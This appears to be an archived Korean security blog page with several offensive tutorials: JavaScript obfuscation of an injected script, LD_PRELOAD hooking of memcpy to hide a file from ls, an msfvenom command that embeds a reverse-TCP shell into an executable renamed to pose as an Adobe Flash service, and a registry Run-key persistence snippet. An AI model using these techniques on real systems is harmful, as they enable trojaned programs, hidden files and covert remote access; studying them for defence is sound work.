등 js 함수와 unicode, hex 데이터 등 여러가지 방법으로 난독화를 진행하게 된다.
위에서 사용된 함수를 이용하여 간단하게 작성하였으며 아래와 같은 형식으로 분석에 방해를 줄 수 있다.

<html>
<body>
<script>
code = "115,99,114,105,112,116";
code = eval("String.fromCharCode("+code+")");
code2 = "%66%61%6b%65%20%66%75%6e%63%74%69%6f%6e%20%61%61%61%64%66%64%76%6d%76%6d%66%6d%66%67%6c%6a%66%6c%67%6b%6a%61%66%64%6c%6b%61%6a%73%64%66%3b%6c%6b%61%6a%73%3b%66%6c%6b%6a%3b%6c";
code3 = "%3e%61%6c%65%72%74%28%22%63%6f%64%65%62%6c%61%63%6b%2e%6e%65%74%20%62%79%20%68%61%68%77%75%6c%22%29%3b%3c%2f%73%63%72%69%70%74%3e";
code1 = code3;
code3 = code2 == code3 ? code2 : code1;
document.write("<"+code+""+unescape(code3));

</script>
</body>
</html>

#Output
<script>alert("codeblack.net by hahwul");</script>


4. Javascript Packing


자바스크리븥 Packer 는 여러가지가 있지만 간단하게 아래 사이트에서 쉽게 가능하다.
http://dean.edwards.name/packer/

#input
code = "115,99,114,105,112,116";
code = eval("String.fromCharCode("+code+")");
document.write(code);

#Output (Base62 encode)
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0="6,2,3,4,5,b";0=7("8.9("+0+")");a.1(0);',12,12,'code|write|99|114|105|112|115|eval|String|fromCharCode|document|116'.split('|'),0,{}))
Share: | Coffee Me:

6/10/2015

Linux System hooking using LD_PRELOAD(공유라이브러리를 이용한 리눅스 시스템 명령 후킹)

공유 라이브러리의 경로를 의미하는 LD_PRELOAD를 이용하여 Linux System 후킹에 대한 이야기입니다.
크게 시나리오를 보자면 LD_PRELOAD에 공격자가 .so 파일을 삽입하고 시스템 명령이 해당 so 파일을 로드하여
명령 내에서 사용되는 함수를 바꿔치기 하여 데이터를 숨기는 과정입니다.

LD_PRELOAD에 경로 설정 시 dynamic linker 가 해당 경로의 so 파일을 공유 라이브러리로 무조건 선적재하기 때문에
시스템에서 사용되는 명령의 함수를 바꿔치기 할 수 있습니다.

1. runtime library call 확인을 위한 ltrace 설치 및 사용

일단 시스템 명령의 runtime lib의 call 을 확인하기 위해 ltrace 라는 툴을 사용하여 확인한다.
ltrace 는 apt 패키지 매니저를 이용하여 쉽게 설치가 가능하다.(debian, ubuntu 기준)

# apt-get install ltrace    # ltrace 설치 / Tracks runtime library calls in dynamically linked programs
# ltrace
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.

  -a, --align=COLUMN  align return values in a secific column.
  -A ARRAYLEN         maximum number of array elements to print.
  -c                  count time and calls, and report a summary on exit.
  -C, --demangle      decode low-level symbol names into user-level names.
  -D, --debug=LEVEL   enable debugging (see -Dh or --debug=help).
  -Dh, --debug=help   show help on debugging.
  -e expr             modify which events to trace.
  -f                  trace children (fork() and clone()).
  -F, --config=FILE   load alternate configuration file (may be repeated).
  -h, --help          display this help and exit.
  -i                  print instruction pointer at time of library call.
  -l, --library=FILE  print library calls from this library only.
  -L                  do NOT display library calls.
  -n, --indent=NR     indent output by NR spaces for each call level nesting.
  -o, --output=FILE   write the trace output to that file.
  -p PID              attach to the process with the process ID pid.
  -r                  print relative timestamps.
  -s STRLEN           specify the maximum string size to print.
  -S                  display system calls.
  -t, -tt, -ttt       print absolute timestamps.
  -T                  show the time spent inside each call.
  -u USERNAME         run command with the userid, groupid of username.
  -V, --version       output version information and exit.
  -x NAME             treat the global NAME like a library subroutine.

ls 명령 사용 시 발생하는 lib call 을 확인하면 아래와 같다.
# ltrace ls
.....
opendir(".")                                                                                                                                = 0x011f1c30
readdir(0x011f1c30)                                                                                                                         = 0x011f1c60
readdir(0x011f1c30)                                                                                                                         = 0x011f1c78
strlen("codeblack")                                                                                                                         = 9
malloc(10)                                                                                                                                  = 0x011f9c70
memcpy(0x011f9c70, "codeblack", 10)  
....

해당 내용을 보면 각 파일별로 malloc 을 통해 메모리를 할당하고 memcpy 를 통해 각 파일명을 copy 함을 알 수 있다.
이제 이 memcpy 함수를 변조하여 숨겨야할 파일(codeblack)을 숨겨보도록 하겠다.

2. 가짜 memcpy 함수를 구현(ls 명령에 사용되는 memcpy 구현)


아래와 같이 memcpy 함수를 구현한다.
man 명령을 통해 memcpy 확인 시 인자값에 쉽게 확인 가능하다.
NAME
       memcpy - copy memory area

SYNOPSIS
       #include <string.h>

       void *memcpy(void *dest, const void *src, size_t n);

동일한 형태로 함수 구성 후 기능 또한 동일하게 구현한다. (hahwul.c 참조)
-------------------------
-- hahwul.c (fake memcpy)

#include <stdio.h>

void *memcpy(void *dest, const void *src, size_t count) {
        char* dst8 = (char*)dest;
        char* src8 = (char*)src;

        while (count--) {
            *dst8++ = *src8++;
        }
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
        return dest;
    }

-------------------------
# gcc -shared -fPIC -o hahwul.so hahwul.c
hahwul.so

gcc options
- fPIC : PIC(Position-Independent Code) 이며 .o 파일을 동적라이브러리(Dynamic LIB)로 해당 옵션을 통해 Object 파일을 .so 파일로 묶는다
- shread : 공유 라이브러리와 링크 / 공유 라이브러리가 없는 경우 정적 라이브러리와 링크

동적 라이브러리, 공유 라이브러리 옵션을 포함하여 gcc 를 이용해 컴파일 후 LD_PRELOAD 에 .so 파일을 넣고 ls 실행 결과
printf 를 사용하여 찍어낸 내용이 나타난다. (ls 내  memcpy 함수가 우리가 만든 함수로 동작)

# LD_PRELOAD=./hahwul.so ls
H4ck : memcpy[1727050][]
H4ck : memcpy[1727090][]
H4ck : memcpy[172bc10][.]
H4ck : memcpy[1733c70][hahwul.so]
H4ck : memcpy[1733c90][codeblack]
H4ck : memcpy[1733cb0][data1]
H4ck : memcpy[1733cd0][hahwul.c]
H4ck : memcpy[1733cf0][data2]
H4ck : memcpy[172bc60][�pr ]
H4ck : memcpy[172bc50][�pr ]
codeblack  data1  data2  hahwul.c  hahwul.so

3. ls 명령 시 codeblack 파일이 노출되지 않도록 memcpy 함수 수정


여기서 ls 명령 시 codeblack 파일을 안보이게 처리하기 위해서는 .so 파일의 코드에 codeblack 이란 문자열을
비교하여 memcpy 를 하지 않으면 된다.

codeblack 비교 구문 추가
if(strcmp(src,"codeblack")==0)
{
return dest;
}


-------------------------
-- hahwul.c (fake memcpy)

#include <stdio.h>

void* memcpy(void* dest, const void* src, size_t count) {
        char* dst8 = (char*)dest;
        char* src8 = (char*)src;
if(strcmp(src,"codeblack")==0)
{
return dest;
}

        while (count--) {
            *dst8++ = *src8++;
        }
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
        return dest;
    }

------------------
컴파일 후 LD_PRELOADdp .so 파일을 넣어 확인 시 codeblack 파일은 노출되지 않는다.

# gcc -shared -fPIC -o hahwul.so hahwul.c  #so 파일 생성
# LD_PRELOAD=./hahwul.so ls                #LD_PRELOAD에 .so 파일 포함 후 ls 실행

H4ck : memcpy[13e6050][]
H4ck : memcpy[13e6090][]
H4ck : memcpy[13eac10][.]
H4ck : memcpy[13f2c70][hahwul.so]
H4ck : memcpy[13f2cb0][data1]
H4ck : memcpy[13f2cd0][hahwul.c]
H4ck : memcpy[13f2cf0][data2]
H4ck : memcpy[13eac60][�`> ]
H4ck : memcpy[13eac50][�`> ]
   data1  data2  hahwul.c  hahwul.so

위와 같이 간단하게 memcpy 함수를 조작하여 ls 명령으로 데이터 확인 시 숨길 수 있다.


reference site

http://hyunmini.tistory.com/55
http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick


Share: | Coffee Me:

6/03/2015

MSFVENOM을 이용하여 Application에 Exploit Code 주입하기

MSFVENOM 이란?

metasploit 에 포함된 기능 중 하나이며 간단한 명령으로 exploit 코드 생성, exploit이 포함된 프로그램 생성, 기존에 존재하는 프로그램에 주입하는 등 여러가지 행위가 가능하다. msfpayload, msfencoder 로도 가능하지만 개인적으로는 venom 이 가장 편한 것 같다.

Command Line(Inject exploit code)

한줄의 명령으로 쉽게 프로그램 내 exploit 코드 주입이 가능하다.

hvenom -x codeblack.exe -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -k -f exe -i 25 LHOST=xxx.xxx.xxx.xxx LPORT=4444 > AdobeFlashService.exe

-x : 감염시킬 프로그램
-p : 삽입할 Payload
-e : 인코딩
-f : 포맷

Usage Venom

Usage: hvenom [options] <var=val>

Options:
    -p, --payload    <payload>       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    <length>        Prepend a nopsled of [length] size on to the payload
    -f, --format     <format>        Output format (use --help-formats for a list)
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       <architecture>  The architecture to use
        --platform   <platform>      The platform of the payload
    -s, --space      <length>        The maximum size of the resulting payload
    -b, --bad-chars  <list>          The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>         The number of times to encode the payload
    -c, --add-code   <path>          Specify an additional win32 shellcode file to include
    -x, --template   <path>          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --options                    List the payload's standard options
    -h, --help                       Show this message
        --help-formats               List available formats

Share: | Coffee Me:

6/02/2015

Win API 자신의 실행 경로 가져오기(GetModuleFileName)

GetModuleFileName 이란 함수를 사용하여 쉽게 가져올 수 있습니다.

GetModuleFileName(NULL, Path, MAX_PATH);

Code

TCHAR Path[MAX_PATH] = {0};
GetModuleFileName(NULL, Path, MAX_PATH);

Path 선언 후 GetModuleFileName함수를 사용하면 두번째 인자값인 Path 에 현재 실행되는 프로그램의 절대경로가 들어가게 됩니다. 


MSDN Syntax


  _In_opt_ HMODULE hModule,
  _Out_    LPTSTR  lpFilename,
  _In_     DWORD   nSize
);
 

Parameters

hModule [in, optional]
A handle to the loaded module whose path is being requested. If this parameter is NULL,GetModuleFileName retrieves the path of the executable file of the current process.
The GetModuleFileName function does not retrieve the path for modules that were loaded using the LOAD_LIBRARY_AS_DATAFILE flag. For more information, see LoadLibraryEx.
lpFilename [out]
A pointer to a buffer that receives the fully qualified path of the module. If the length of the path is less than the size that the nSize parameter specifies, the function succeeds and the path is returned as a null-terminated string.
If the length of the path exceeds the size that the nSize parameter specifies, the function succeeds and the string is truncated to nSize characters including the terminating null character.
Windows XP:  The string is truncated to nSize characters and is not null-terminated.
The string returned will use the same format that was specified when the module was loaded. Therefore, the path can be a long or short file name, and can use the prefix "\\?\". For more information, see Naming a File.
nSize [in]
The size of the lpFilename buffer, in TCHARs.
 
Share: | Coffee Me:

Win API 를 이용한 레지스트리 등록(Add Registry / WINAPI)

Win API 를 이용한 레지스트리 등록


Add Registry(Startup Program / HKEY_LOCAL_MACHINE)
LONG lResult;
char buffer[100];
HKEY hKey;
DWORD dwDesc;
char *path = "c:\\winnt\\system32\\notepad.exe";

RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_ALL_ACCESS, &hKey);


lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                           "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, buffer, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hKey, &dwDesc);
if(lResult == ERROR_SUCCESS)
{
  RegSetValueEx(hKey, "abc", 0, REG_SZ, (BYTE*)path, strlen(path));
}
RegCloseKey(hKey);



RegCloseKey RegOpenKey RegConnectRegistry RegOpenKeyEx
RegCreateKey RegQueryInfoKey RegCreateKeyEx RegQueryMultipleValues
RegDeleteKey RegQueryValue RegDeleteValue RegQueryValueEx
RegEnumKey RegReplaceKey RegEnumKeyEx RegRestoreKey
RegEnumValue RegSaveKey RegFlushKey RegSetKeySecurity
RegGetKeySecurity RegSetValue RegLoadKey RegSetValueEx
RegNotifyChangeKeyValue RegUnLoadKey
Share: | Coffee Me: